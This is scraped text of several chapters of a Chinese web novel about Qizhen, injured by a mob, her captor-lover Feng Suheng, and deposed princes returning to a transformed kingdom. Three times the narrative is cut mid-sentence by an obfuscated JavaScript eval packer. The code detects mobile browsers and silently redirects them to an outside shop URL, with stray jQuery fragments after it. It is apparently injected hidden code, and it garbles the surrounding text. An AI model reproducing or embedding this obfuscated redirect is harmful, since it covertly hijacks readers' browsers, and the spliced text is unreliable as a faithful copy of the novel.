木屋前十丈守兵……… 王的女人脾气好烈,竟敢连名带姓吼大容王? 幸亏吼完,房里便没了动静。 “嘘,别叫那么大声。”风宿恒趴在栖真耳边低声安抚。 虚弱成这样,吼什么吼? 刚那一声吼,确实用尽栖真所有力气,胸口疼到眼前发黑,丝丝抽气,原本就快憋不住,他还在耳边嘘她。 事后,风宿恒帮她全数擦洗干净,盖上干净薄毯,对死死闭眼哽咽不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624160|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止的栖真道:“今日换我无法自理,真真想来也会这般照顾。我们还分彼此?好了,别哭啦。” 室内燃着玉茗的熏香,沁人心脾,但栖真的感觉还是遭到了极点。 道理都懂,风宿恒说得没错,今日易地而处,她必亲力亲为照顾自己男人。 可这事轮到她身上,她就觉得羞耻,羞耻到要么让她彻底消失,要么让经手之人彻底消失。 排泄都要假手他人,和自尊被凌迟又有何异? 被流民群殴时气到心痛难当她没崩溃,醒来那会儿疼到恨不得拿刀自尽她没崩溃,但这一刻,栖真彻底崩溃了,激烈的情绪潮水般淹没她。 流民上山时她没动恻隐之心吗?没尽力救助吗?他们有什么资格占据别人家园,混吃等死还不感恩,就为一个莫须有的罪名对她暴力相向? 她和容聘没有感情,和山遥阿陶成校他们也没有吗?八个月了,她处处为他们着想,恨不得刨心为证对他们好,可这些人不过听了别人一句话,就反过来指责她揍她,凭什么? 要说她有罪,她对不起他们,可她为何暴起屠戮嘉和帝,难道不是因为狗皇帝先杀小包子?他心胸狭隘、是非不明,杀她儿子,死一千一万遍也是活该!明明一报还一报的事,只因凡心没死,她就要为自己的行为忏悔? 大容国破,让贵人们流离失所,厄运缠身,是她造成的吗?风宿恒口口声声为了找她去侵略、去杀戮,可这是她让风宿恒做的吗?只因他的出发点是“爱”,她的不认同就道不出口,她就要成为一切纠葛和血难的原点,背负道德的枷锁,被钉在谴责的十字架上? 穿越以来,她到底做错什么? 错到要以躺在这里全身不遂,连最后一点尊严都被剥夺为代价来偿还? 啊,对,因为所有的缘起都是“爱”。 因为是风宿恒从小到大、感天动地的爱,所以作为那个被他爱上的“天选之子”,她就活该承受这一切? 如果是这样,那她不要了行不行? 把爱还回去,换能有尊严的上个厕所,可不可以?可不可以?可不可以? 栖真哭到窒息,头脑阵阵发紧,胸口的疼、臂上的疼、腿上的疼都不算什么了,她恨不得拍断夹板,逃离此地,找个地方彻底封闭。 她想回去! 回现代去! 回一个没有中土、没人知道这段过往的地方去。 风宿恒见栖真大口喘息、浑身痉挛,无论在耳边说什么,都像崩溃地听不见,最后哭到晕厥过去。 赶紧叫药王谷的素青来看。 素青道:“陛下,伤成这样何苦折腾?还想留她条命便行行好,别刺激她了行吗?” 风宿恒站在床边脸色难看至极。 “夫人叫您出去的声音整个山谷都听到了,她现下是能这般吼的吗?您做什么了把人气成这样?” 素青年纪轻轻位列药王谷首席弟子,医术了得,若非风宿恒早年和药王谷有些渊源,普通王侯身份还请不动她。可她素来不是好脾气的人,手下金针施得飞快,嘴中数落一点不拉。 “夹板移位了,要重新包扎。” 素青让自己婢女桂枝和白芷帮忙,三人配合无间,最快速度移除夹板,将栖真浑身擦拭干净,抹上生骨的药泥,裹上纱布,再将夹板洗净夹上。 做完一切,素青和两位婢女也是满头大汗,出屋透气。 风宿恒替栖真盖好薄毯,在谷中找到素青,将照顾上的难处跟她道明。 素青不了解风宿恒,对名震四海的大容王认知有限,仅仅局限于谷中同门的几句闲言。 心想好歹一国之君,连个婢女都调不来吗?可她面冷心热:“师父让我在这儿待上两月,我把桂枝和白芷借你,她们照顾病人素来拿手,可以将夫人照顾妥帖。” 风宿恒自是道谢。 素青带着些常闭谷中的天真问:“可夫人只知断骨,不知自己腹部重创再难生育,陛下又打算何时告知呢?” 风宿恒闭眼,一言不发,难得在人前露出承受不住的表情。 181. 第 181 章 这是风宿恒第二次去见重离。 栖真昏昏沉沉,日子对她来说早已过得混乱不堪,五日之约风宿恒却不敢或忘。 他不是为了让自己免受惩罚去见重离,而是为了栖真。 第一次的五日期,是她重伤昏迷的隔日,他天未亮去崖边对坟头喊话。 如今山头只有废墟,容绽等人早押到别处,这般高声也不怕被听去。 不知是他喊声感天动地,还是确实到约定好的日期,铁索桥出现了。 每次栖真去见重离,对目送的风宿恒来说见到的都是她的身影消失在迷雾里,他从未见过迷雾后的铁桥。 但此刻,迷雾散开,铁桥清晰呈现,像在邀他前去。 风宿恒入到洞中,终于见到了栖真跟他说的“二十一世纪样板房”,也终于见到了那个坐在沙发上的男人——重离。 重离确实冷漠,没对今日踏足此处的人表现出半点惊讶。 风宿恒打量片刻,收拢心间五味陈杂的情绪,道出经过,最终道:“她骨头尽断,昏迷不醒,没办法来见你。” 重离道:“你来见我,是不想因为她的爽约而将责罚施加在你身上?” “不。”风宿恒道:“她曾经只用半天就绕过这座大山跑回你这里,那对栖真来说几乎不可能做到,但后来她从洞里出来却完好无损,我猜你这里必有疗伤之法,我可以把她带来,请你像上次那般再救她一次。” “我有。”重离道:“但我为什么要帮她治?” 风宿恒被他直白的反问激怒,强抑住道:“那你上次为何要救?” 重离道:“上次她心脏水肿、肺部破裂,不救会死。这次只是肋骨骨折,大腿粗隆碎裂,骨脊移位,肱骨骨裂,六支掌骨断裂而已,死不了。” “重离,你一直在看着栖真,你也希望她幸福不是吗?”风宿恒深吸口气,希望动之以情,“如今她遭此厄难,你若有法,为何不为她减轻痛苦呢?” “你叫风宿恒?”重离无机质的瞳仁里闪着让人无法理解的光:“我听栖真说过你,她的幸福值上升是因为你,但如今幸福值跌到55,也是因为你。我有办法让她复原,可她今日受伤的原因我很不喜欢,她要为此付出一点代价,所以我拒绝你的请求。” 还没等风宿恒回话,重离直接把他赶出去。 风宿恒站在草甸上汗出如浆,从水里捞出来一样。他抚着心脏,想平息被压制得喘不过气的感觉。不过铿锵一面,他已从来自未来的男人身上感到一种十足的威慑,但风宿恒不明白,为何这种威慑可以引起他内心激烈的震颤。 风宿恒本该被这种让人恨不得逃离的感觉彻底驱赶,但他仍然选择再试一次。 五日后,故技重施,他又站到了重离面前。 重离道:“风宿恒,你看到我没有感觉吗?还敢来见我?” “我为何不敢来见你?”风宿恒强捺惧意:“栖真醒了,可麻肿散都没法帮她止痛,她时刻处在痛苦中。你们同样来自未来,你禁着她,总和她有些情谊。若力所能及,为何不帮帮她?” 见重离垂下眼不答话,风宿恒退而求其次:“或者让我带她出山界,我用法术马上就可以治好她,我保证,我会带她回来。” 重离犀利的眸光终于扫来,答非所问:“风宿恒,你为何不用另一种方式救赎她?为何不将伤害她的人统统杀光?你明明和我一样看不起民众这种东西。什么民众?自以为理智,自以为有教养的人,一旦成了民众,就彻底抛弃自我,成为叫嚣的走狗。民众的声音是最廉价的!一点点风吹草动就能操纵这群乌合之众抛弃独立的判断,成为残忍的群体,做出过激的行为。而他们还认为自己是绝对正义,是被侵害了利益,永远是被对不起的那一方,无论他们做什么,都不需要为自己的行为付出代价,因为法不责众。” “人类的历史永远不缺栖真这种烂好人,为一群狗屎奉献自己,一次又一次死于民众的背叛,就因为信奉人性的善良,尊重人性的光辉,所以这种人活该重蹈覆辙,活该承受痛苦,我能救栖真,但我不会这么做,我要她长点记性。” “栖真的可笑在于天真,你的恶劣在于忘本,风宿恒,别在我面前扮演深情,哪来的深情?你配有感情?真是稀奇。” “我给她半年时间养伤,半年后再让她来见我。” 随着重离一声带着情绪的“滚”,风宿恒回神时又在高山草甸。 身后的铁索桥彻底消失。 ………… 栖真作息混乱,白日哭到昏迷,不知多久意识又浮现上来,让她陷在一个又一个梦里。 里面全是急赤白脸、凶神恶煞、举着板砖的陌生人,他们唾沫横飞地辱骂,把她推倒在地,一脚重重踢在腹部,她痛得护住求饶,可没人听她的。他们要的就是打、就是骂。 “你有罪!你该死!谁让你和风宿恒纠缠不清,这就是你的原罪!” “风宿恒是世上最大的恶人,你享受他的爱,你也是大恶人!死吧,恶人都不配活着!” “揍死她!揍死她就报仇了!” 她不想承受这些,尖叫着叫他们滚。 风宿恒听着栖真噩梦中的呓语,恨不得穿入噬人的梦境为她驱赶迫害,可他现在连紧紧握住栖真的手都做不到,左右手的食指、中指、无名指尽断,他只能颊贴着颊,额碰着额,在她脸上落下安抚的吻。 万物有平衡,万事终有报,环环相衔终至此,可他不明白为何自己做的孽,最终报在他爱的人头上? 祈求神明,所有业报他来受,只求将栖真从那恶有恶报的因果中替换出来。 面上不知是谁的泪,栖真哽咽着睁眼,终于从梦境脱离。 窗外有夜的静,耳边却是鼓雷的心跳,心悸好不容易平复一些,她睁着布满血丝的眼,心神耗竭般任身边人抱。 他们都不说话,在死气的夜里放纵阴暗。她形如枯槁,颓丧地愣怔,心头回嚼着诸多的“凭什么”。 可没有答案,就像人的情爱和欲念到底从何起,从来没有答案。自人类诞生,情爱也好,贪婪也罢,抑或残忍,就在那里。 就已经在那里了。 不要去和刻在基因里的东西较劲,她要做的是给它们合理的解释,以便找到自恰的余地。 恨伤害者,那便恨吧,但不要矫枉过正;怨风宿恒,那便怨吧,但不要全盘否认,她要给窒息的心找一道游刃的缝,让自己在经历这场残暴后仍能自如地扎根,有勇气面对所有人。 “我想见阿絮。”她低声对风宿恒道。 ………… 柳絮回等了两日,见子石再无消息,猜测山上出事了。 安顿好阿月和孩子们,她和英迈带了几个伙计回万仞山。山下流民遍地,山口士兵严守,在她通报姓名后,山上下来一位将军,径直带他们去见容绽。 至此,柳絮回再没下过山。 这日,一位叫袁博的将军带她出地洞,向山谷行去。谷口有守军,谷中帐子铺陈,她都一一看在眼里,到木屋前她却一愣,不知这里何时有了房舍,推门一看差点飚出泪来。 “栖真!” 这也太惨了。 头上包着厚厚的纱布,胸口和手脚都上着夹板,面颊消瘦,唇无血色,脖间和嘴边都有淤青,眉眼间全是憔悴。与上次回山相见,简直天壤之别。 柳絮回心痛到无以复加,坐到床边,一时哭得不能自己,不知是大骂风宿恒、大骂容聘、还是大骂流民好。 栖真却挤了一个笑:“别哭……没死呢。” 柳絮回实在受不了,嚎啕道:“栖真,你骂我吧,你骂我两句好不好?流民上山的时候我就该回来,阿月下山的时候我就不该放你一个人在山上!山遥、阿陶和成校都是糊涂蛋,他们该死!还有容聘,一回山就带来灾难!我们对不起你,栖真,我们对不起你!” “你在山上……也阻不了……无非多个人躺在床上。”栖真说一句就要停下缓一缓,以便积攒力气说下一句:“我庆幸你不在……庆幸把阿月和孩子送下山……絮回……不是你造成的……不要自责。” 柳絮回拼命摇头:“我们受你诸多恩惠,结果就因容聘无端指责,为你带来杀身之祸。还有风宿恒……我和许先生查过了,大容神官在万仞山的消息是狗子他爹传出去的,可能就是这个消息引起风宿恒的注意,才派人查到你。你逃了这么久都没被他抓到,如今为保大家性命,却不得不成为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639048|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的俘虏,让我们怎么对得起你?” 栖真静默片刻,道:“山上什么情况?风的人什么都不肯说……我之前求的几项……他做到了吗?” 柳絮回羞愧点头:“他麾下有位叫袁博的将军来找过我们,说大容王已着人放出风去,前朝宫人和九部相入药皆为无稽之谈,这些人乃大容王座上宾,何人敢害,他必上天入地诛其九族。身验我们也拿到了,只是如今还不得离开。” 栖真皱眉:“不得离开?” “他将我们圈禁在地洞里,不让我们离开。” “地洞?”栖真问:“派人守着门……不就好了?” 柳絮回道:“大容王把我们房子拆了。” “拆……?”栖真瞳孔大震,不敢置信。 “就是那日你要他允下三个条件后,大容王气得难耐,让士兵推倒房屋,毁了田地,如今山头全是废墟了。” 栖真一口气差点缓不过来:“他敢……”嘴唇嚅嗫半晌,才吐出四字:“混蛋至极!” “人为刀俎我为鱼肉,也是没办法的事。”柳絮回道:“房屋虽毁,至少人没事。” 那是他们自己赚钱,亲眼看着造起来的房子,点点滴滴都是心血,栖真心塞至极,又起了自暴自弃的心:“给你们发了身验……便不会囚你们一辈子……我求他放你们回大容……你们回去吧。” 柳絮回拭泪:“我们确实想回一次大容。” 栖真瞪着房顶,语气落寞:“你们在大容有爹娘,有家……以后再无人追杀,是该回去了。” 柳絮回道:“阿绽想扶灵回乡,好将大神官葬入皇陵。” 栖真惊:“什么?” 柳絮回见她神情:“栖真还不知道吗?大爷爷不在了。” 栖真颤抖:“是……是风?” “不是风宿恒。”柳絮回道:“那日流民激愤,大爷爷轮椅倒地,被人踩踏,还有常璐,受了刺激,当场撞柱自尽了。” 栖真再忍不住,喉间一腥,直直喷出一口血来。 吓得柳絮回赶紧出屋唤人,却只叫来袁博。袁博伸手一拦,也不管房中,只冷冰冰着人将柳絮回押回地洞。 地洞还是那个地洞,天生一处好囚笼,洞中诸人靠壁而坐,知她去见栖真回来,纷纷望来。柳絮回却无视这些目光,坐下后痛哭失声。最后还是英迈靠近问:“栖真怎样了?” “你们还关心她死活吗?”柳絮回指着众人凄然道:“她死了,不更称你们的意。” 山遥、阿陶和成校都低下头。 柳絮回的目光直直对上容聘,满腔愤怒让她根本无暇他顾,一拍地吼道:“你污蔑她是风宿恒的心上人,我现在求之不得她是!也好过让她浑身是伤一个人躺在那里,适才都吐血了,也不见半个人来照顾她!” “吐血?”英迈惊道:“她伤的有多重?” 柳絮回哭道:“浑身是伤!身上手臂腿上都上着夹板,头上还包着,就是你,阿陶,就是你那一板砖给砸的!” 阿陶狠狠扯发,不小心牵动颈部伤口,真是痛极。 他以为自己会死在大容王刀下,没想终被留下一条贱命。 可他这几日生不如死,被良心啃噬得体无完肤,每时每刻都在自问,他疯了吗?当时为何如此冲动?他好像根本没听那女子辩了什么,全然被脑中描画的场景冲昏头,一门心思只想为蓝心报仇。大容王死了,好不容易有个可以报仇的对象在身边,还要放过吗? 那时他有想过栖真对他们的帮扶吗? 没有! 有想过栖真是怎样的人吗? 没有! 他脑里容不下任何声音,只有至死方休。 原来失去理智是这么可怕的一件事,会让人沦为胡乱攀咬的疯狗,而脖间无形的绳牢牢牵在煽动者手中。 可他难道不也是煽动者? 容聘煽动他,他也煽动旁人,他们互相煽动,拿着薪火往柴堆里抛,将大火燃起,冲天的焰就是众人的狂欢。他在狂欢中发泄自己的私心和仇恨,任烈火烧死无辜的人。那便不要让他们醒来啊!醒来后你看看我,我看看你,个个都是懊悔而无辜的脸。 只有火堆里,躺着焦炭般的亡灵。 182. 第 182 章 地洞里的日子不好过。 他们又像回到大半年前,蜗居在山下营地,一开始连毡帐都没有的那段时间里。 那时,他们只能架几根树枝,遮一些披风和袍子,有个勉强挡风遮雨的地方睡觉。 那时,他们需要每日在山上四处打猎,山鸡、狍子或几尾小鱼,没有米,没有菜,野味吃到嘴巴上火。 那时,晒衣的绳是草茎搓成的,什么家具都没有,累了只能找石头靠一靠。 后来日子是怎么一点点好起来的呢? 啊,因为阿畅。 阿畅为了寻找栖真来到山头,为了让他家小姐过得好一点,往山上运了一车又一车东西。 他们才有了毡帐、有了恭桶、有了桌子、有了足够的食物。 其实阿畅只要顾好他家小姐就可以,为何还要顾他们所有人? 因为栖真想照顾他们所有人。 再然后,又是栖真出的点子,一出梁祝,让阿畅带着刺绣卖出五千两。 他们有了赚钱的好法子,才动了造房安家的心。 栖真又跟他们说,赚钱有道,要趁年轻,选择睡着时钱都能进口袋的方法,手把手教他们创业。 哦,对了,开店的钱还是她这边垫的。 如今日子好过了,有房住了,吃穿不愁了,然后他们、他们差点把恩人打死了。在栖真被污蔑时,他们不仅没站在她这边,还亲自动手,恨不得将她置于死地。 地洞里的气氛极其压抑,大家看着洞外日升月落,想着这一切。 山遥想,我到底为什么觉得栖真是个祸害呢?我害过她一次,可她对谁都没说,而那一日,我不过听容聘一言,就立刻相信她是敌人,我是不是有病? 成校想,我眼瞎是不是?分不清谁给我们带来好日子吗?我们每天吃着蛋,却把鸡杀了,以后哪还有蛋吃? 阿陶……阿陶已经想不动了,他快把自己头发撸秃了。他不敢看所有人,任何一丝移到他身上的目光都像无形的凌迟,让他难受至极。 而容聘…… 容聘的心情就更复杂了。 因为他不觉得自己做错什么。 外界传闻风宿恒已死,可就在他们揪着那女人不放的当口,大容王带兵忽至,不就说明他俩关系匪浅?即便他现在对那女人喊打喊杀,谁知他们过去是怎么回事?可惜当时被他决绝一箭射懵,否则继续擒着栖真,必能探出更多。 可这群旧部像被人洗了脑,一个比一个对他漠然。而柳絮回,不过是个司工之女,如今也对他蹬鼻子上脸。 他们的眼神不言自明——你走,大容灭了国;你回,好日子到了头,你这个灾星,你这个毒瘤! 每日和这群人待在一处,他是如此格格不入,无时无刻不处在尴尬中。 但说到底,这群人与他何干?他在乎的只有他皇兄一个!可容绽……唉……兄弟多年未见,到底血浓于水,难道皇兄打定主意这辈子都不和他说一句话了吗? 地洞里的日子是局促而难熬的,可就在柳絮回去见栖真的第三日,他们被放了出来。 大容王的走狗袁博带他们下山,山下停着三辆马车和两辆大板车,板车上各有一具油亮的楠木棺材,用金丝绳绑得严实。 慕容烟月抱着小宝儿从一辆马车上下来,和众人相见,唏嘘不已。 带着二十个兵,袁博道:“走吧,送你们回大容。” 终于能名正言顺回故国,他们应该无比欣喜,可如今十一人分坐车中,却是全然沉默。 袁博出发时就言明:“这一趟,我受大容王之命护送各位回去,并非看押,一路会以礼相待,各位要停车要稍看大可自便。到了万丈城,要去哪里落脚吩咐一声,会护送各位到门口。” 风宿恒对他们何必优待?如今这番“护送”只怕也是冲着某人面子。况且真要放他们走,直接让他们下山便可,何须着人“护送”?袁博表面客气,到底得了令,要一路看着他们吧。 队伍走的永嘉道。 马车行的不快,容绽坐在车里,听着车轮在石板路上行进时传来的轻微咯吱声、通道内过往行人的脚步声和说话声。每驶过一段距离,眼睑便能感受到光线明灭的交替。 阑珊撩着车帘看外面,和容绽说:“这道好长啊,一眼望不到头。道中是一道护栏,左边是往辛丰去的方向,右边,就是咱们这边,是往大容去的。每一边大概有三丈宽,像咱们这样的马车,至少可以并行三辆。外面就是沙漠,听,还有旋风的声音……这样的通道,应该不好造吧?” 容聘对他哥道:“两千人,四年,风宿恒没少花银子和精力。” 容绽靠着车厢,和这些时日来一样缄默,没人知道他在想什么。 这日晚,马车停在道中驿站。 照阑珊的介绍,就是每隔十里通道向外延伸,连接着拓出来的半亩地,封闭式的,有茅厕、马槽和驿站,供路人休息。 驿站里的晚餐是一人一份的“套餐”。 大家从未听说过套餐这种东西,阑珊跟容绽说驿站里只有三种套餐,红烧肉套餐,豆腐套餐和青菜套餐,没别的选择。每一份套餐两个菜和米饭,碗都没有,就用一个托盘装着。 而住宿只有男铺和女铺两间大房。进去,每张床都有上下两个铺位,帘子一拉就成私密。床不宽,但胜在干净整洁。一间驿站至少可以住百来人。而打尖和住宿的费用只有外面一半,即便普通百姓也全然承受得起。 他们在永嘉道走了三日,感受着种种让人新奇的细节。 开始是阑珊对所见滔滔不绝,后来容绽终于主动询问,比如如何设置逃生口,如何设置守卫,通道内如何照明换气等等,这些阑珊之前都没注意,经容绽一问,才将观察如实告知。后来阑珊明白过来,容绽思虑的应该是永嘉道在管理上的方方面面。 是的,管理。 在栖真的创业课上,他们是学过“管理”这个概念的。 一家火锅店要运营,要管理,一条永嘉道同样如是。 建造永嘉考验的是当权者的财力和人力,而管理永嘉,让它能够安全、有序、便民,考验的则是当权者的施政水平。 阑珊跟随容绽多年,多少猜到他脑子里在想什么,但容聘不知道。容聘每日抱臂倚在车里,有一搭没一搭听容绽和阑珊对话,想的却是等他回寨,定要再次率兵出征,势必夺回属于自己的东西。 届时,永嘉也会成为他的。 出了永嘉,车队一个城镇一个城镇过,容绽细听阑珊描述城中,事无巨细都想知道。 很多城镇翻新过,住宅焕然一新。一路上人多了,摊子多了,不知名的店多了。马车穿城而过时,能听到窗外传进来的各色叫卖和人潮涌动声——那是热火朝天的街市。 过去的小镇越来越像过去的大城,而过去的大城,则呈现一种大容百年来从未出现过的繁荣景象。 袁博没带大家住官驿,就在普通客栈落脚。晚上容绽坐在大堂,和闲下来的掌柜说话。 掌柜见他眼盲且穿着朴素,但气质出众,便坐下闲聊两句。 “小老儿过去也就摆个煎饼摊养家糊口,若非官府限借令,也开不了这客栈。” 阑珊:“限借令?” “客官外边来的吧?”掌柜抚着胡子,呵呵笑了两声:“限借令就是官府放银给百姓。那时咱家五口,借了三百两,盘了个铺子继续做煎饼、旮旯包和一些别的吃食。就这样生意越做越大,存了钱,不仅将贷银还了,去年还开了这客栈,日子比以前好太多了。” 容绽:“利钱怎么算?” 掌柜吸了口水烟:“很薄的,比黑市低。” 容绽:“谁都能问官府放银吗?” 掌柜:“上下三代世居,家中至少三口以上,才有可能拿到放银。官府会看的。就咱们这城,拿过放银的至少有半数。” 阑珊:“如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655626|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今城中多少户?” 掌柜:“少说……一万户吧。” 阑珊也是跟着学过数学的,极快地算出:“一家借三百两,五千户,便是一百五千万两。官府不怕银子放出去收不回?” “还好还好……老大容人,很少有收不回的。签一年,一年收回;签两年,两年收回。真要收不回,官府会让收银人压收的。” “压收?” “就是把借贷人安排到官府指定的工坊做工,由工坊直接给官府还钱。那些工坊工作辛苦,少有人去,所以能还的都还,不欠这个债。” 容绽问:“如今工坊很多吗?” 掌柜吸了一口烟,笑道:“大容的海货外面人都要啊,外面也有越来越多人跑大容采买,工坊铆足劲出活,商铺铆足劲订货,客栈铆足劲待客,哪儿都红火,哪儿都缺人。如今永嘉一通更是如此,忙不过来哦!小老儿前几日还在和家里人说,走永嘉,咱们也去外面看看,看看辛丰,看看付春,回来好和邻里吹嘘,结果我家的说隔壁刘老头一家蹲着永嘉开通首日,就去尝过鲜咯。” 容绽也聊了几句永嘉道的见闻,最后问:“老丈如何看待现下的大容?” 掌柜笑起来:“不瞒客官说,咱老陈家代代做煎饼,六十七载啦!小老儿以为这辈子也就这样了。谁想现下结界没了,和外面通了,日子变得快啊,每天都有奔头,有奔头总比没奔头好啊,有奔头心就活啦。” 容绽微笑着点头。 不日车队抵达金光万丈城,袁博亲自护送柳絮回和英迈回了司工和司户宅邸,而司财当年失了官,早已离城,据说移居璞丽去了。山遥半道借马,和众人告辞往南去。而司文一家以身殉国,司文府邸早被朝廷收回,改赐别府。 容绽问袁博,剩下的九部相里,还有哪位府邸还在。袁博道,只有司军府还在,如今留了几位老奴,并无旁人居住。 容绽便带容聘和慕容烟月及剩下的人,暂时落脚司军府。 隔日辰时,一行人在东城门相聚,准备了一干祭礼,扶棺至皇陵为容伯舒下葬。 皇陵仍有专人洒扫,并没因前朝已废而现任何颓唐。容绽主持祭仪,规章严谨,并不懈怠,亲手为容伯舒封闭墓室,三祷为终。 而常璐的母家司乐府早已人去楼空,最后还是袁博道,陛下吩咐,若他们愿意,可以将常璐葬到皇崖塔下,陪着沈兰珍。 容绽没想到风宿恒还愿放他入宫,将常璐下葬后,站在皇崖塔下心绪起伏,再让阑珊引他到兰珍墓前,一手抚着碑上字样,神情翕动,殊难克制,久久无言。 下山时,容聘赶上附耳:“风宿恒如此大意,竟放你我入宫!皇兄如今身在全尽,宫中难有敌手,不如趁此机会…” “莫把风宿恒看轻。”容绽终于回自己亲弟一句:“他以君子之礼相待,我们怎可趁火打劫?” “君子之礼?”容聘气道:“皇兄跟敌人讲君子之礼?” 容绽听他如此,不欲做无谓之言,让阑珊带着,挥挥袖下山去。 容绽回到司军府,心情拙郁,白日里和阑珊出门感受万丈城的繁荣才多少得以分心。晚上在花园流连,对着对面沈兰珍的闺房又是唏嘘。 那间房,自住进来后未敢踏足,他每日只在园中枯坐,肖想兰珍曾在这院里玩过,在亭中凳上坐过,搜集着她的气息,即便是妄想,到底让那份无人所知的魂萦梦牵,在此得到些寄托。 过了几日,司军府倒是来了个不速之客。 见容绽和容聘来到正堂,来者直直跪下,磕了三个响头。 这人幼时曾随御史入宫,混在九部相和一群官家子中和太子玩耍,但那时大家都小,那么多年过去,容聘对他早没了印象。 至于容绽,童年根本没有玩耍时间,与官家子也无交集,与他连一面之缘都无。 但现下,容氏兄弟都听说过他。 传闻大容王立了一位前朝人为相,人称“尚相”。 183. 第 183 章 这位尚相现下在他们面前匍跪于地,口称“罪臣”。 容聘坐于堂上,看向着青色便服的尚可薪,冷然道:“前朝身无官职,何须称臣;今朝位极人臣,何须称罪。尚相这句“罪臣”岂非荒谬?” 尚可薪低着头,声音微颤:“小生愧对殿下,不愧对百姓;愧对前朝,不愧对大容。” “既做了风宿恒的狗,何须来污我们的眼?”容聘面色一凝,只把灭国之恨发泄:“谁稀罕你的愧对?今日来耀武扬威,不怕我们捏死你?” 尚可薪心中叹息:“小生五年来腼颜人世、寝食难安,得知两位殿下安好,喜不自胜,特来拜见。” “既非纯臣,还要作态。”容聘道:“滚!” 尚可薪跪地不语,现出落寞之色。 堂上一直沉默的容绽开口:“尚相是尚御史的嫡孙?表字可薪?” 为着容绽平和的语气,尚可薪眼中一亮:“是,祖父正是御史正侍,小生草字可薪。” “可薪。”容绽道:“起来回话。” 容聘看向容绽,怒道:“皇兄!” 对这贰臣何必客气? 容绽不理他,只道:“如今我兄弟不过一介平民,可薪无须口称殿下,徒惹是非。五年前即选了这条路,就独自走下去,可薪口口声声忠于百姓,这份愧对,便在实干中自行消融吧。想在我们这边讨得谅解,却是找错人了。” 尚可薪闻言,心下也是恻然。 这五年来,他日夜告诉自己,我是叛了前朝,可我没背叛百姓。百姓安,我心安。 但这颗心到底不能安的。 尚家因他当年投诚,才在改朝换代的浩劫中得以保全,但尚御史感佩司文阖府自焚的忠烈,被家宅出了这样一个奸佞之徒气到吐血,划族谱,一顿毒打将尚可薪逐出府。三日里全府搬空不知所踪。即便之后查到他们搬去千林镇,尚可薪也只能默默关注,再不敢踏足家门。 他并不天真,今日来,并非为了祈求前主谅解。 但这个头,他必须来磕。 这位昔日的神官长大人如今目不能视,话意却比其弟犀利得多,尚可薪起身,站在堂上道:“说的是。” 容绽请他坐下,道:“今日可薪即来,说说吧,五年来朝中什么情况?” 容聘一想,对啊,贼人送上门,何不从其口中探知更多? 这问题看似简单宽泛,对尚可薪来说却不好答,让他怎么说呢? 说这些年大容国泰民安,百姓日渐富裕,国家井井有条?那不像在讽刺前朝? 说这些年也就这样,和五年前差不多,也没多大建树,那岂非讽刺自己?你都向敌人投诚了,结果也没整出个子丑寅卯,你图个啥? 尚可薪心里一转才道:“这几年大容有几件大事,一是修永嘉,二是普及限借令,三是容幸互通,四为安置遗民,最后一件,设平音堂。每一件都有十分的难处,朝中从上到下夙夜难安。” 前两样容绽知道,但还是让尚可薪详述一遍,而后三样,则听得更为仔细。 所谓“容幸互通”,是指大容想尽一切办法吸引辛丰的人和货来此地,同时让大容的人和货去辛丰。 单单这一条,下面就含七条令则,包括鼓励海业、扩充工坊、引入辛丰工艺、拓宽全国官道、在两国多处互设集市、笼络辛丰贵人倾向大容、扶植外来武林和仙宗在大容设分坛。 每条令则都是厚厚一本文书,记载了详细的负责官员、时间进度、定期评审、经验记录等等。 “设平音堂”,则是将原本遍及大容的诗社改为平音雅集,任百姓自由出入,可以在一个像茶馆一样的地方高谈阔论。 每日有朝中推行的文集至城役,再由城役在雅集上宣读,内容以政令和政论为主。百姓可在雅集上自由论述前朝,或者非议今朝。 第一年,百姓群起激愤,天天痛骂窃国大盗大容王;第二年,听得多了,也有人开始关心起政令,虽还在骂,注意力却逐渐移到对国政的议论上;第三年,容幸互通的利处越发显现,各地缺人缺货,很多百姓今日看左边邻里找了个赚得极多的活儿,改明儿看右边邻里做生意赚得盆满钵满,一时人人都把注意力放在机遇上,雅集就成了乡民们互通有无、出谋划策的好去处;第四年,很多因限借令得益的百姓再听不得有人说今朝不好,但凡有人还在雅集上怀念前朝,就会被群起攻之;到了第五年,再去雅集,根本就听不到什么关于前朝的言论了,百姓们更多议论的是眼前的事怎么做,未来的路怎么走。 修永嘉是倪煌的事,容幸互通则为钟雄主理,而普及限借令、安置遗民、设平音堂则全数由尚可薪主事。 即便是五年的浓缩,要说尽也费工夫。这日尚可薪说了一个多时辰,兜着分寸,便即告辞。 而隔日,应着容绽的请再来司军府时,却被容绽带入花园,在小亭中清茶一盏,两相对坐。 